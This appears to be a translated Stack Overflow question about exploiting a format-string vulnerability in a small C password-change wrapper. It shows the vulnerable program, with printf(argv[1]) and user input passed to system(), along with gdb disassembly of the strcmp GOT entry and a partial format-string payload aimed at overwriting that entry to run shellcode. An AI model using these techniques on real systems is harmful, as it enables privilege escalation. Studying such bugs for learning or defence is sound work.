【发布时间】:2016-05-22 08:24:01
【问题描述】:
假设这段代码:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char fonction[50] = "/usr/bin/passwd ";
char messageAccueil[100] = "changement du mot de passe de : ";
if(argc == 1){
printf("vous devez passer un username en parametre \n");
return 1;
}
printf(messageAccueil);
printf(argv[1]); //<-- format string vulnerability here !!
if(strcmp(argv[1], "root")==0){
printf("vous ne pensiez quand meme pas pouvoir changer le mot de passe de root si facilement ?\n");
return 1;
}
printf("\n");
strncat(fonction,argv[1],38);
system(fonction);
return 0;
}
我想利用格式字符串漏洞来执行shell,
所以,我想用我存储在环境变量中的shellcode的地址来重写GOT中的strcmp函数地址。
gdb 给了我:
(gdb) info functions
0x0000000000400570 strcmp@plt
(gdb) disas 0x400570
Dump of assembler code for function strcmp@plt:
0x0000000000400570 <+0>: jmp QWORD PTR [rip+0x20070a]#0x600c80 <strcmp@got.plt>
0x0000000000400576 <+6>: push 0x6
0x000000000040057b <+11>: jmp 0x400500
End of assembler dump.
所以我想把我的shellcode地址写到0x00600c80
如何将 nullbyte 传递给我的 ./changepasswd 文件?
我实际上正在尝试这个漏洞:
/changepasswd $(echo -e '\x80\x0c\x60\x00____\x84\x0c\x60\x00')%65527d%136\$x%59017d%137\$x
给我地址600c845f
但\x00 一样没有影响,也不会存储到堆栈中。
我发现地址以 00 开头的事实可能是 ascii armouring 问题,但我的系统中完全没有 exec-shield 选项。
所以我正在寻找一种方法将 00 写入我的堆栈 或 让我的 GOT 地址由 00 以外的其他东西开始..。
【问题讨论】:
-
当然是一票接近。
标签: c security format-string